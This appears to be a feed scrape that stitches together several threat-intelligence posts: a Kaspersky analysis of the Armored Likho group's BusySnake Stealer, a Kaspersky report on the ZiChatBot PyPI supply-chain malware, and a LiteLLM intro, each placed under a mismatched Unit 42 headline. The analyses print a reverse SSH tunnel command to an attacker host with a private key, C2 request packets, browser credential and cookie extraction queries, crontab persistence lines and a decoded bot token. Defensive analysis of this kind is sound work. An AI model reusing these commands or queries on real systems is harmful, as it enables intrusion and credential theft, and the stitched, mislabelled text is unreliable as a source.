Analysis of the Aeternum botnet loader, a threat leveraging Polygon blockchain smart contracts for decentralized C2 infrastructure and payload execution.

The post The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications appeared first on Unit 42.

Introduction

During our routine threat monitoring, we uncovered a new phishing campaign tied to a previously unknown APT group that we dubbed Armored Likho (also known as Eagle Werewolf based on circumstantial evidence). This targeted campaign focuses heavily on government agencies and the electric power sector. The geographical footprint of these attacks spans Russia, Brazil, and Kazakhstan, establishing the group as a global threat actor.

Armored Likho blends financially motivated campaigns targeting private individuals with targeted cyber-espionage aimed at organizations. Their toolkit features obfuscated, modular RATs and infostealers specifically engineered to bypass dynamic analysis. Alongside these, they leverage simpler tools like Go2Tunnel for remote access and network tunneling. This diverse malware stack enables the threat actor to maintain stealthy control of compromised hosts, exfiltrate credentials and other sensitive information, and dynamically deploy downloadable modules tailored to the victim’s profile and the tasks at hand.

Key campaign highlights:

• The group is leveraging a previously undocumented tool dubbed BusySnake Stealer. This Python-based infostealer is designed to target Windows systems. We discovered multiple versions of the malware, along with an additional module dedicated to stealing cookies.
• The first-stage malicious payload, consisting of loaders and stagers, was generated using AI, which blurs the attackers’ TTPs and complicates attribution efforts.

This campaign highlights several concurrent trends: the growing technical maturity of Armored Likho, tool polymorphism, and a shift toward more complex schemes aimed at bypassing security solutions — ranging from Python source code obfuscation to embedding network mechanisms directly into the malware code. In this post, we’ll dissect the campaign that remains active at the time of publication, as well as the toolkit utilized by the attackers.

Initial infection vector

Phishing remains one of the primary initial access vectors that this threat actor heavily relies on in its latest campaigns. Armored Likho uses spear-phishing emails, with themes ranging from official government notices to social programs. In their most recent campaign, the attackers distributed malicious attachments inside archive files with names such as 1bfb2e79-8084-429e-a35c-8b595ab9f839_psihologicheskiy_test.zip (psychological test) or zayavka_gumanitarnayapomosch.rar (humanitarian aid application). These archives contained executables or LNK files named to mimic the email themes, tricking users into executing them on their devices. Below, we break down several variants of how they achieve initial access.

EXE attachment

In one attack variant, the archive contains a dropper named psihologicheskiy_test.exe, which is a self-extracting archive built using the Nullsoft Scriptable Install System (NSIS). When the victim opens the file, a decoy application launches to disarm suspicion by presenting a fake psychological survey. While we have observed similar droppers in the group’s previous campaigns, those earlier versions were written in Rust.

Once executed, the dropper writes a legitimate executable, $temp\nsn5531.tmp\pnx.exe, to disk and launches it. Code is then injected into the pnx.exe process memory to execute a malicious loader. This loader, in turn, fetches several archives hosted in GitHub repositories. Our analysis of these repositories uncovered early development builds and test samples of the malware. Data release in the repository is automated, allowing for rapid rotation of both payloads and the repositories themselves.

Payload repository example

The downloaded archives are extracted into the $appdata\WindowsHelper directory. This serves as the malware’s working directory, where all subsequent components of the attack are staged and executed.

The fetched package contains the following components:

• The primary payload: a stealer named module.pyw
• The runtime directory with the components of the PyArmor execution environment
• A Python 3.12 interpreter
• The get-pip.py script: used to install the pip package manager and fetch required dependencies

Once executed, the script installs pip and pulls down the core dependencies required for the payload to run.

With all dependencies in place, the malware creates two VBScript files in the same $appdata\WindowsHelper directory. The first, wh_selfdelete.vbs, is used to wipe the initial pnx.exe loader from the system:

Loader removal script

The second script, run.vbs, is designed to execute module.pyw and is used to ensure persistence on the system by creating a scheduled task:

Persistence script

This task ensures that the payload, BusySnake Stealer, is executed every five minutes.

LNK attachment

In alternate campaigns, the archive contains a file named Zayavka_[redacted].lnk. The group leveraged the ZDI-CAN-25373 shortcut vulnerability to conceal the contents of their command line. This flaw allows the attackers to use spaces or line breaks to hide execution parameters.

Consequently, when the user runs the malicious LNK file, it triggers the following obfuscated command:

Obfuscated PowerShell command

This, in turn, spawns a PowerShell command that downloads and executes the malicious loader:

Downloading and executing the loader

Upon execution, the loader downloads and opens a decoy DOCX document. We have observed various decoy themes, ranging from humanitarian aid requests to debt clearance certificates.

Decoy documents

Once the decoy is displayed, the loader initializes the environment variables required to stage the next phase, including URL paths, installation directories, and required library manifests. While we observed variations across different first-stage payload samples, their core functionality remains identical.

Variable initialization example in loader code

Next, the loader fetches a Python 3.12 interpreter (python.zip), the get-pip.py script, and a data.zip archive containing the module.pyw payload. From this point, mirroring the first infection vector, the malware installs its dependencies and establishes persistence through a combination of a VBScript file and a scheduled task.

Example of downloading and installing Python and the pip package manager

As shown in the screenshots, the loader’s source code contains verbose comments and bullet-point emojis. This coding style is highly uncharacteristic of human-developed malware. It strongly indicates that the group is leveraging LLMs to generate their malicious payloads.

Ultimately, both infection vectors lead to the execution of the primary payload, which we break down in detail below.

BusySnake Stealer

The primary payload in this campaign is a previously undocumented, Python-based infostealer that we have dubbed BusySnake Stealer.

The stealer’s source code implements multiple evasion techniques designed to thwart detection and complicate static analysis. Specifically, the BusySnake Stealer code is obfuscated and encrypted using PyArmor Pro version 9.2.0. The malware dynamically decrypts its bytecode only at the exact moment a function is called, re-encrypting the data immediately afterward. Additionally, the malware runs in the background without spawning a console window, as indicated by its PYW file extension.

During our analysis, we successfully stripped the protector and disassembled the executable functions. Below, we break down the stealer’s configuration and core functionality.

Before executing its main routines, the malware initializes its configuration file. It contains the C2 server address, directory paths, regular expressions, screenshot intervals, a User-Agent string for network communications, and many more. An example configuration from one of the captured samples is shown below.

Stealer configuration example

The stealer’s architecture relies on handlers, each responsible for specific functions. The table below details the role of each handler.

Below, we break down the execution logic of the malware’s core functions.

Upon execution, the malware calls the single_instance_lock function to ensure that only one instance of the stealer is active on the system. To achieve this, the sample utilizes a non-standard lock-file algorithm, rather than traditional methods like creating a mutex or setting a registry value. The function first checks if the file Roaming\WindowsHelper\screenshots\.lock is locked by another process; if it is, the new instance fails to launch. If the file is not locked, the malware reads the Process ID (PID) stored within it. If that process doesn’t exist and the system uptime exceeds the file’s last modification timestamp, the stealer overwrites the lock file and proceeds with execution.

Immediately after initialization, the start_key_clipboard_logger function begins harvesting data from the system clipboard. The malware polls the clipboard contents in an infinite loop, appending any new or updated data to the KEYLOG_FILE using the following format:

[Clipboard] {timestamp} {escaped_clipboard_content}

Additionally, the stealer maps out the local file system using the start_inventory_background function.

This background process first initializes a database at Roaming\WindowsHelper\inventory_state.db. Within this database, the stealer generates a tracking table to log file metadata:

sqlite3.connect(STATE_DB_PATH)
execute CREATE TABLE IF NOT EXISTS scanned_files (path TEXT PRIMARY KEY,mtime REAL,size INTEGER)'

The malware then enumerates files and directories to build an object tree. During this scanning phase, the stealer explicitly skips core system directories, ignores files larger than 16 MB, and filters out files matching a hardcoded exclusion list of extensions.

Discovered files are passed to the extract_hex64_from_file function to scrape for 64-character hexadecimal keys. The malware opens each file in read mode and scans for strings matching the [0-9a-fA-F]{64} regular expression. Any identified keys are logged into the previously created database. The keys themselves are written to a separate file and forwarded to the C2 server. Once the full scan wraps up, a completion message is committed to the log file using the following format:

log(
	f'Інвентаризація завершена за {elapsed:.1f}s. '
	f'Нових: {counters["new"]}, '
	f'Старих: {counters["skipped"]}, '
	f'Знайдено: {counters["found"]}'
)

Next, the start_send_documents_priority_background function kicks off to map out logical drives. The malware identifies the system drive and recursively sweeps the user directories under /Desktop, /Documents, and /Downloads. During this enumeration phase, it filters the paths — checking only directories whose names start with $ and do not contain the string System Volume Information. Directory contents are also filtered based on an ignore list of extensions. The remaining files are then checked: if a file has not been previously sent and its size does not exceed 5 MB, it is transmitted to the C2 server.

The stealer maintains an active connection with the C2 server to await incoming instructions during execution. The poll_task function polls the C2 server in a continuous loop for new commands. Below is an excerpt of a typical request packet:

GET /get_task?client_id=DESKTOP-[redacted] HTTP/1.1\r\n
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0

The C2 sign-in form interface is shown below:

C2 administration panel sign-in form

Commands are transmitted from the C2 server as function names, which are detailed in the table below:

After executing each command, the stealer sends a report back to the C2 server containing the task completion status.

POST /report_status HTTP/1.1
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 90
Content-Type: application/json
{"client_id": "DESKTOP-[redacted]", "command": "send_found_keys", "status": "ok", "note": ""}

Password exfiltration from Firefox and Chromium-based browsers

When BusySnake Stealer receives a C2 command to harvest passwords from Chromium-based browsers, it passes the task to the handle_extract_chromium_passwords function. The malware locates the specific browser data directory, verifies that it is not empty, and targets the Login State file, which contains the master key used to encrypt the local password database.

Locating the file containing the master key

The master key is protected via the Windows Data Protection API (DPAPI). By operating within the security context of the user who originally encrypted the key, the stealer is able to decrypt it using the win32crypt.CryptUnprotectData() function.

Master key decryption

Then, user accounts are extracted from the browser database via an SQL query, while passwords remain encrypted.

SELECT origin_url, username_value, password_value FROM logins

Next, the passwords are decrypted using a master key and saved in plaintext to the Roaming\WindowsHelper\chromium_passwords.json file.

For Firefox, the exfiltration workflow follows a similar logic. The stealer receives a command to extract browser credentials, which is then processed by the handle_extract_firefox_passwords function. The implant then scans the Mozilla\Firefox\Profiles directory and checks each user profile for the presence of both logins.json and key4.db. If either file is missing, the profile is skipped. The malware then parses the contents of logins.json, extracting the hostname, encryptedUsername, and encryptedPassword fields from each entry.

Credential extraction

The extracted data is placed into a SECItem structure. Upon calling the NSS_Init() function, the NSS library — which Firefox relies on — automatically initializes its built-in cryptographic module and accesses the key4.db database. If the database is not protected by a master password, the module loads the signing key stored within it. In this scenario, the PK11SDR_Decrypt() function can successfully decrypt the credentials without requiring any user prompts or additional steps. Thus, BusySnake Stealer exploits insecure Firefox browser practices: storing the database master key in plaintext and the lack of re-authentication when decrypting data with it.

Credential decryption

The decrypted credentials are saved directly to the Roaming\WindowsHelper\firefox_passwords.json file.

Cookie extraction

The stealer harvests cookies using a workflow nearly identical to its browser credential theft routine. Upon receiving the handle_collect_and_send_cookies command from the C2 server, the malware triggers the corresponding function. It then scans browser directories for the following database files: Cookies for Chromium-based browsers and cookies.sqlite for Firefox. Once located, it uses SQL queries to extract the cookies.

For Chromium-based browsers, the malware executes the following query:

SELECT host_key, name, value, encrypted_value, path, expires_utc FROM cookies

For Firefox, it uses this query:

SELECT host, name, value, path, expiry FROM moz_cookies

All harvested data is decrypted and saved to a file located at Roaming\WindowsHelper\all_browser_data.json, which is then exfiltrated to the C2 server and wiped from the host.

In addition to this method, the stealer fetches a supplementary module designed to extract cookies by installing a browser extension. Upon receiving the appropriate directive, the malware executes the handle_extract_cookies_v7_command function. It then pulls down the additional module as an archive from the Releases page of a GitHub repository, mirroring the initial staging process used by the stealer itself.

The source code of this secondary module is also protected with PyArmor. Once executed, the module spins up a local web server to capture and parse the cookies extracted from the browser. Next, the module creates the files for a browser extension used to steal cookies:

• manifest.json: details the extension structure and required permissions
• sw.js: contains the primary execution logic for the extension

Once these components are staged, the extension is installed into the browser.

Extension configuration file (manifest.json)

Extension execution logic (sw.js)

To ensure Google Chrome launches with the extension installed, the module uses specific arguments to start the browser.

Chrome execution parameters

Once active, the extension verifies the availability of the local web server initialized during the previous stage. If the server is responsive, the extension reads the cookie data, stores it in a cookiesData object, and transmits it to the following URL:

http://127.0.0.1:8000/?data_type=c

The local server processes the incoming payload, saves it to a file named extracted_cookies.json, and subsequently exfiltrates it to the C2 server.

Reverse SSH tunneling

The group previously used a Go-based tool for creating reverse SSH tunnels, named Go2Tunnel by researchers. BusySnake Stealer implements a similar feature as a built-in function.

The implant receives a directive from the C2 server to establish a reverse SSH tunnel, routing the task to the handle_start_proxy_command function. The stealer initially sends a request to the following URL, appending the victim’s unique machine identifier to the request parameters:

https://grked[.]online/tunnel/create/?username=[redacted]

If the configuration specifies an HTTP endpoint instead of HTTPS, the URL format adjusts as follows:

http://grked[.]online:8000/tunnel/create/?username=[redacted]

In response, the server returns data containing all the parameters required to establish the tunnel.

{"username":"[redacted]","socks_host":"159.198.32[.]222","socks_port":26380,"private_key":
"BEGIN OPENSSH PRIVATE KEY\								nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\nQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQ								sMTd5TjQRAAAAJhSGysYUhsr\nGAAAAAtzc2gtZWQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQsMTd5TjQRA\nAAAEDHFs74hGkvUfzK/gL								hfXdilmEnVbyD8V3Aqj5LRQdJJstw5hXZWmIGafop89wDvDmT\ngtfGcNJQfBCwxN3lONBEAAAAEXJvb3RAZjM3YzRjNjE4NjJjAQIDBA==\n
END OPENSSH PRIVATE KEY\n",
"ssh_command":"ssh -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -R 0.0.0.0:26380 [redacted]@159.198.32[.]222"}

The malware extracts the private key and the specific SSH command from this response. Using these components, it initiates a connection to a remote server controlled by the attackers, granting them persistent remote access and interactive control over the compromised host.

To close the tunnel, the stealer receives the handle_stop_proxy_command command and processes it with the function of the same name, after which the private key file is deleted and the associated SSH process is terminated.

New version of the BusySnake Stealer

During our infrastructure analysis of the threat actor, we uncovered a newer iteration of the stealer. The distribution method and static obfuscation mechanism remained unchanged; however, Armored Likho modified their TTPs and altered the code structure of BusySnake Stealer.

In the new version, instead of calling schtasks directly, the malware uses the win32com.client library to create scheduled tasks through interaction with the Schedule.Service COM object, indicating a shift toward less detectable execution methods.

Creating a scheduled task via the COM object

This approach ensures a more stealthy persistence mechanism. Furthermore, to bypass dynamic analysis mechanism, the authors added a function that pauses execution before triggering malicious routines.

We also observed refinements to the architectural design of BusySnake Stealer. The attackers built a new task-management framework to handle incoming C2 commands. Each task is assigned a unique identifier, and before execution, the stealer checks for the presence of this task in a specified list. To track execution states in real time, tasks are dynamically assigned one of four operational statuses: SCHEDULED, IN_PROGRESS, SUCCEEDED, or FAILED.

The introduction of task execution statuses resulted in an updated C2 communication schema. The updated endpoints and request packet structure are detailed in the table below:

One of the most significant architectural upgrades is the introduction of a dedicated class designed to execute arbitrary Python scripts. In this updated variant of the stealer, the poll_commands function is responsible for retrieving commands from the C2 server, while the poll_tasks routine is specifically dedicated to fetching Python scripts. Before running a retrieved script, the malware dynamically installs any required dependencies via pip. It then spawns a new process and executes the script’s code directly within memory without ever writing the file to disk — a technique intended to bypass security.

Attribution

We attribute this campaign to the Armored Likho threat group with medium confidence, basing our assessment on the analysis of the tools and network activity.

1. In previously identified campaigns, the group used the Go2Tunnel tool designed to create reverse SSH tunnels. In BusySnake Stealer, similar functionality is implemented as a built-in feature. Both tools receive a tunnel establishment command and a private SSH key from the C2 server, while making requests to similar endpoints. Furthermore, both payloads initiate their tunnels using SSH commands with an identical set of arguments:
   

   -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p {port}  -R 0.0.0.0:{port} {name}@{IPaddress}

2. The Armored Likho group has historically deployed the AquilaRAT remote access Trojan. It shares a similar structure with BusySnake Stealer: the malware receives tasks from the C2 server, and their execution is carried out by dedicated handlers. Additionally, BusySnake Stealer and AquilaRAT utilize similar endpoints for C2 communications — for example, when reporting task execution statuses back to the server:
   AquilaRAT
   

   /backup/update-subtask-status  
   {
        <..>
        'clientId': clientId,
        'subTasks': [
               <..>
              'taskItemId': taskItemId
        ]
   }

   
   BusySnake Stealer
   

   {Config.DASHBOARD_URL}/api/v1/client/{Config.CLIENT_ID}/tasks/{task_id}/

3. Another structural overlap is seen in their persistence mechanisms. Both BusySnake Stealer and AquilaRAT maintain their footprint on compromised hosts by registering scheduled tasks that masquerade as legitimate Microsoft system utilities. While AquilaRAT typically names its task MicrosoftOfficeUpdate, BusySnake Stealer uses the name WindowsHelper.

Victims

We continue to actively monitor the ongoing deployment campaigns of BusySnake Stealer, alongside its related artifacts and network infrastructure.
To date, confirmed victims have been identified across Russia, Kazakhstan, and Brazil. The attacks are primarily focused on the governmental and electrical power infrastructure sectors.

Takeaways

An analysis of Armored Likho’s campaigns over the past few months shows a trend toward using AI tools to generate first-stage payloads, as indicated by redundant comments and code blocks. This allows the group to broaden its available attack vectors.

In parallel, the group is aggressively refining and modifying its core toolkit. While Go2Tunnel previously operated as a standalone utility, its reverse-tunneling functionality has now been integrated directly into the stealer as a built-in feature that ingests parameters from the C2 server. Furthermore, the structural design of this newly discovered stealer shares pronounced architectural overlaps with AquilaRAT, another staple tool in the group’s arsenal.

At the time of writing, Armored Likho remains highly active. Despite the evolution of their malware variants and their efforts to obfuscate their TTPs, we continue to closely monitor the group’s footprint and detect emerging campaigns.

Detection by Kaspersky solutions

Kaspersky security solutions, including Kaspersky Endpoint Detection and Response Expert, successfully detect and block the malicious activity associated with these attacks.

Defensive solutions detect the threat actor’s activity at the initial stage when the LNK downloader is executed. Upon execution, the shortcut runs an obfuscated command via rundll32.exe, which subsequently triggers a PowerShell command to pull down the second-stage payload. This malicious chain of events is caught by the following detection rules:

• shell_creation_by_rundll32
• windows_command_shell_usage
• suspicious_powershell_cmd_or_script_spawning

Example of LNK downloader detection in KEDR

The Kaspersky Cloud Sandbox solution can be used for a comprehensive analysis of the malicious activity described here. The figure below shows the Kaspersky Cloud Sandbox interface, demonstrating the event chain of the obfuscated command execution by the LNK downloader.

LNK downloader execution graph in Kaspersky Cloud Sandbox

Additionally, inside Kaspersky Cloud Sandbox, it can be observed that during execution the stealer contacts remote URLs to download additional files, specifically a DOCX decoy document as well as the web_script.txt stager.

File downloads by the LNK downloader in Kaspersky Cloud Sandbox

If the EXE dropper is executed, Kaspersky Cloud Sandbox also records the downloading of additional tools from a GitHub repository.

EXE dropper execution graph in Kaspersky Cloud Sandbox

File downloads by the EXE dropper in Kaspersky Cloud Sandbox

Furthermore, dynamic analysis results show that the sample writes an additional file to the disk, which is used in subsequent stages of the attack.

Malicious file written to disk by the EXE dropper in Kaspersky Cloud Sandbox

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

First-stage malicious files

5D5C3E483C5E544260CE98FC29FBF192 PS1 stager
7141917CBA2EEE2B4D31107FACCF3A39 EXE stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
C019797A00FD56EDB1F468AC0A598510 BAT stager
A0EC7A8E61EFF3F445A7455B3AEF9FBB BAT stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
7DB9C688C620E54E8C69B7E52A7579FB BAT stager

90378881856ABFA47D7745C0A3EF9DC8 RAR archive with advanced cookie extractor module

1DBA3E505491A260A44C867902C3296E RAR archive with malicious DLL loader

1096268FA2B3D454C86CF851CB782319 EXE dropper
F2AB09D7E7A375A192508A5014AA2EE4 EXE dropper
0041FD1B2358CD08DBCBC28EA8FC3D20 EXE dropper

894332174F536C2E1EFEDA05CBA79F8B DLL loader
78135F72AB148A0CC074F6B2DD51FFF6 DLL loader
07213C419489C02791E8D67B91E404EF DLL loader

393B498F2114CABC0B29D5FCD9DC6723 LNK
CF74AC018D158EA2C2CFA1B1D71D95BC LNK
2DFA1D949872C1B2F04952DD3E5F5D8F LNK

BusySnake Stealer

C7622A1EFFA27BBFEE6D6E03D6474343 PYW BusySnake Stealer
80B7700053E115D65365CE7330383320 New PYW version of BusySnake Stealer
6B45DDB39A6E86229348DCBBA3857E7C RAR archive with BusySnake Stealer
006887732CA4A4A46A97989CF4DEEEF6 RAR archive with BusySnake Stealer
732C31ACF971A81C7E51B2A3DAE82020 RAR archive with BusySnake Stealer
DDFF82A115558584BBD7741D4FFB35B4 RAR archive with BusySnake Stealer
8188B2F347B77D65D08CFB23808AC244 RAR archive with BusySnake Stealer
E2550CFAD9DCC880BF04F6048F90868C RAR archive with BusySnake Stealer
FD2BDD8047ADDEE6FDE2F532DE181BFD RAR archive with BusySnake Stealer

С2

winupdate[.]live
arvax[.]xyz
varenie[.]live
lvl99[.]store
onetoken[.]ink
winupdate[.]ink
grked[.]online
ndrt[.]ink
myboard[.]chickenkiller.com
myboard[.]twilightparadox.com

159.198.41[.]140
159.198.75[.]219
159.198.32[.]222
69.67.173[.]153

Unit 42 discovered a Vertex AI Python SDK vulnerability that allows remote code execution via bucket squatting. Read the article for more.

The post Pickle in the Middle – Hijacking Vertex AI Model Uploads for Cross-Tenant RCE appeared first on Unit 42.

Introduction

Through our daily threat hunting, we noticed that, beginning in July 2025, a series of malicious wheel packages were uploaded to PyPI (the Python Package Index). We shared this information with the public security community, and the malware was removed from the repository. We submitted the samples to Kaspersky Threat Attribution Engine (KTAE) for analysis. Based on the results, we believe the packages may be linked to malware discussed in a Threat Intelligence report on OceanLotus.

While these wheel packages do implement the features described on their PyPI web pages, their true purpose is to covertly deliver malicious files. These files can be either .DLL or .SO (Linux shared library), indicating the packages’ ability to target both Windows and Linux platforms. They function as droppers, delivering the final payload – a previously unknown malware family that we have named ZiChatBot. Unlike traditional malware, ZiChatBot does not communicate with a dedicated command and control (C2) server, but instead uses a series of REST APIs from the public team chat app Zulip as its C2 infrastructure.

To conceal the malicious package containing ZiChatBot, the attacker created another benign-looking package that included the malicious package as a dependency. Based on these facts, we confirm that this campaign is a carefully planned and executed PyPI supply chain attack.

Technical details

Spreading

The attacker created three projects on PyPI and uploaded malicious wheel packages designed to imitate popular libraries, tricking users into downloading them. This is a clear example of a supply chain attack via PyPI. See below for detailed information about the fake libraries and their corresponding wheel packages.

Malicious wheel packages

The packages added by the attacker and listed on PyPI’s download pages are:

• uuid32-utils library for generating a 32-character random string as a UUID
• colorinal library for implementing cross-platform color terminal text
• termncolor library for ANSI color format for terminal output

The key metadata for these packages are as follows:

Based on the distribution information on the PyPI web page, we can see that it offers X86 and X64 versions for Windows, as well as an x86_64 version for Linux. The colorinal project, for example, provides the following download options:

Distribution information of the colorinal project

Initial infection

The uuid32-utils and colorinal libraries employ similar infection chains and malicious payloads. As a result, this analysis will focus on the colorinal library as a representative example.

A quick look at the code of the third library, termncolor, reveals no apparent malicious content. However, it imports the malicious colorinal library as a dependency. This method allows attackers to deeply conceal malware, making the termncolor library appear harmless when distributing it or luring targets.

The termncolor library imports the malicious colorinal library

During the initial infection stage, the Python code is nearly identical across both Windows and Linux platforms. Here, we analyze the Windows version as an example.

Windows version

Once a Python user downloads and installs the colorinal-0.1.7-py3-none-win_amd64.whl wheel package file, or installs it using the pip tool, the ZiChatBot’s dropper (a file named terminate.dll) will be extracted from the wheel package and placed on the victim’s hard drive.

After that, if the colorinal library is imported into the victim’s project, the Python script file at [Python library installation path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\__init__.py will be executed first.

The __init__.py script imports the malicious file unicode.py

This Python script imports and executes another script located at [python library install path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\unicode.py. The is_color_supported() function in unicode.py is called immediately.

The code loads the dropper into the host Python process

The comment in the is_color_supported() function states that the highlighted code checks whether the user’s terminal environment supports color. The code actually loads the terminate.dll file into the Python process and then invokes the DLL’s exported function envir, passing the UTF-8-encoded string xterminalunicod as a parameter. The DLL acts as a dropper, delivering the final payload, ZiChatBot, and then self-deleting. At the end of the is_color_supported() function, the unicode.py script file is also removed. These steps eliminate all malicious files in the library and deploy ZiChatBot.
For the Linux platform, the wheel package and the unicode.py Python script are nearly identical to the Windows version. The only difference is that the dropper file is named “terminate.so”.

Dropper for ZiChatBot

From the previous analysis, we learned that the dropper is loaded into the host Python process by a Python script and then activated. The main logic of the dropper is implemented in the envir export function to achieve three objectives:

1. Deploy ZiChatBot.
2. Establish an auto-run mechanism.
3. Execute shellcode to remove the dropper file (terminate.dll) and the malicious script file from the installed library folder.

The dropper first decrypts sensitive strings using AES in CBC mode. The key is the string-type parameter “xterminalunicode” of the exported function. The decrypted strings are “libcef.dll”, “vcpacket”, “pkt-update”, and “vcpktsvr.exe”.

Next, the malware uses the same algorithm to decrypt the embedded data related to ZiChatBot. It then decompresses the decrypted data with LZMA to retrieve the files vcpktsvr.exe and libcef.dll associated with ZiChatBot. The malware creates a folder named vcpacket in the system directory %LOCALAPPDATA%, and places these files into it.

To establish persistence for ZiChatBot, the dropper creates the following auto-run entry in the registry:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"pkt-update"="C:\Users\[User name]\AppData\Local\vcpacket\vcpktsvr.exe"

Once preparations are complete, the malware uses the XOR algorithm to decrypt the embedded shellcode with the three-byte key 3a7. It then searches the decrypted shellcode’s memory for the string Policy.dllcppage.dll and replaces it with its own file name, terminate.dll, and redirects execution to the shellcode’s memory space.

The shellcode employs a djb2-like hash method to calculate the names of certain APIs and locate their addresses. Using these APIs, it finds the dropper file with the name terminate.dll that was previously passed by the DLL before unloading and deleting it.

Linux version

The Linux version of the dropper places ZiChatBot in the path /tmp/obsHub/obs-check-update and then creates an auto-run job using crontab. Unlike the Windows version, the Linux version of ZiChatBot only consists of one ELF executable file.

system("chmod +x /tmp/obsHub/obs-check-update") 
system("echo \"5 * * * * /tmp/obsHub/obs-check-update" | crontab - ")

ZiChatBot

The Windows version of ZiChatBot is a DLL file (libcef.dll) that is loaded by the legitimate executable vcpktsvr.exe (hash: 48be833b0b0ca1ad3cf99c66dc89c3f4). The DLL contains several export functions, with the malicious code implemented in the cef_api_mash export. Once the DLL is loaded, this function is invoked by the EXE file. ZiChatBot uses the REST APIs from Zulip, a public team chat application, as its command and control server.

ZiChatBot is capable of executing shellcode received from the server and only supports this one control command. Once it runs, it initiates a series of sequential HTTP requests to the Zulip REST API.

In each HTTP request, an API authentication token is included as an HTTP header for server-side authentication, as shown below.

// Auth token:
TW9yaWFuLWJvdEBoZWxwZXIuenVsaXBjaGF0LmNvbTpVOFJFWGxJNktmOHFYQjlyUXpPUEJpSUE0YnJKNThxRw==

// Decoded Auth token
Morian-bot@helper.zulipchat.com:U8REXlI6Kf8qXB9rQzOPBiIA4brJ58qG

ZiChatBot utilizes two separate channel-topic pairs for its operations. One pair transmits current system information, and the other retrieves a message containing shellcode. Once the shellcode is received, a new thread is created to execute it. After executing the command, a heart emoji is sent in response to the original message to indicate the execution was successful.

Infrastructure

We did not find any traditional infrastructure, such as compromised servers or commercial VPS services and their associated IPs and domains. Instead, the malicious wheel packages were uploaded to the Python Package Index (PyPI), a public, shared Python library. The malware, ZiChatBot, leverages Zulip’s public team chat REST APIs as its command and control server.

The “helper” organization that the attacker had registered on the Zulip service has now been officially deactivated by Zulip. However, infected devices may still attempt to connect to the service, so to help you locate and cure them, we recommend adding the full URL helper.zulipchat.com to your denylist.

Victims

The malware was uploaded in July 2025. Upon discovering these attacks, we quickly released an update for our product to detect the relevant files and shared the necessary information with the public security community. As a result, the malicious software was swiftly removed from PyPI, and the organization registered on the Zulip service was officially deactivated. To date, we have not observed any infections based on our telemetry or public reports.

Zulip has officially deactivated the “helper” organization

Attribution

Based on the results from our KTAE system, the dropper used by ZiChatBot shows a 64% similarity to another dropper we analyzed in a TI report, which was linked to OceanLotus. Reverse engineering shows that both droppers use nearly identical algorithms and logic for to decrypt and decompress their embedded payloads.

Analysis results of dropper using KTAE system

Conclusions

As an active APT organization, OceanLotus primarily targets victims in the Asia-Pacific region. However, our previous reports have highlighted a growing trend of the group expanding its activities into the Middle East. Moreover, the attacks described in this report – executed through PyPI – target Python users worldwide. This demonstrates OceanLotus’s ongoing effort to broaden its attack scope.

In the first half of 2025, a public report revealed that the group launched a phishing campaign using GitHub. The recent PyPI-based supply chain attack likely continues this strategy. Although phishing emails are still a common initial infection method for OceanLotus, the group is also actively exploring new ways to compromise victims through diverse supply chain attacks.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

Malicious wheel packages
termncolor-3.1.0-py3-none-any.whl
5152410aeef667ffaf42d40746af4d84

uuid32_utils-1.x.x-py3-none-xxxx.whl
0a5a06fa2e74a57fd5ed8e85f04a483a
e4a0ad38fd18a0e11199d1c52751908b
5598baa59c716590d8841c6312d8349e
968782b4feb4236858e3253f77ecf4b0
b55b6e364be44f27e3fecdce5ad69eca
02f4701559fc40067e69bb426776a54f
e200f2f6a2120286f9056743bc94a49d
22538214a3c917ff3b13a9e2035ca521

colorinal-0.1.7-py3-none-xxxx.whl
ba2f1868f2af9e191ebf47a5fab5cbab

Dropper for ZiChatBot
Backward.dll
c33782c94c29dd268a42cbe03542bca5
454b85dc32dc8023cd2be04e4501f16a

Backward.so
fce65c540d8186d9506e2f84c38a57c4
652f4da6c467838957de19eed40d39da

terminate.dll
1995682d600e329b7833003a01609252

terminate.so
38b75af6cbdb60127decd59140d10640

ZiChatBot
libcef.dll
a26019b68ef060e593b8651262cbd0f6

A significant proportion of cyberincidents are linked to supply chain attacks, and this proportion is constantly growing. Over the past year, we have seen a wide variety of methods used in such attacks, ranging from creation of malicious but seemingly legitimate open-source libraries or delayed attacks in such seemingly legitimate libraries, to the simplest yet most effective method: compromising the accounts of popular library owners to subsequently release malicious versions of their libraries. Such libraries are used by developers everywhere and are included in many solutions and services. The consequences of an attack can vary widely, ranging from delivering malware to a developer’s device to compromising an entire infrastructure if the malicious library has made its way into the code of a service or product.

This is exactly what happened in March 2026, when attackers injected malicious code into the popular Python library LiteLLM, which serves as a multifunctional gateway for a large set of AI agents. The attackers released two trojanized versions of LiteLLM that delivered malicious scripts to the victim’s system. Both versions made their way into the PyPI repository for Python. A technical analysis revealed that the attackers’ primary targets were servers storing confidential data related to AWS, Kubernetes, NPM, etc., as well as various databases (MySQL, PostgreSQL, MongoDB, etc.). In the latter case, the attackers were primarily interested in database configurations. In addition, the malware’s logic included functionality for stealing confidential data from crypto wallets and techniques for establishing a foothold in the Kubernetes cluster.

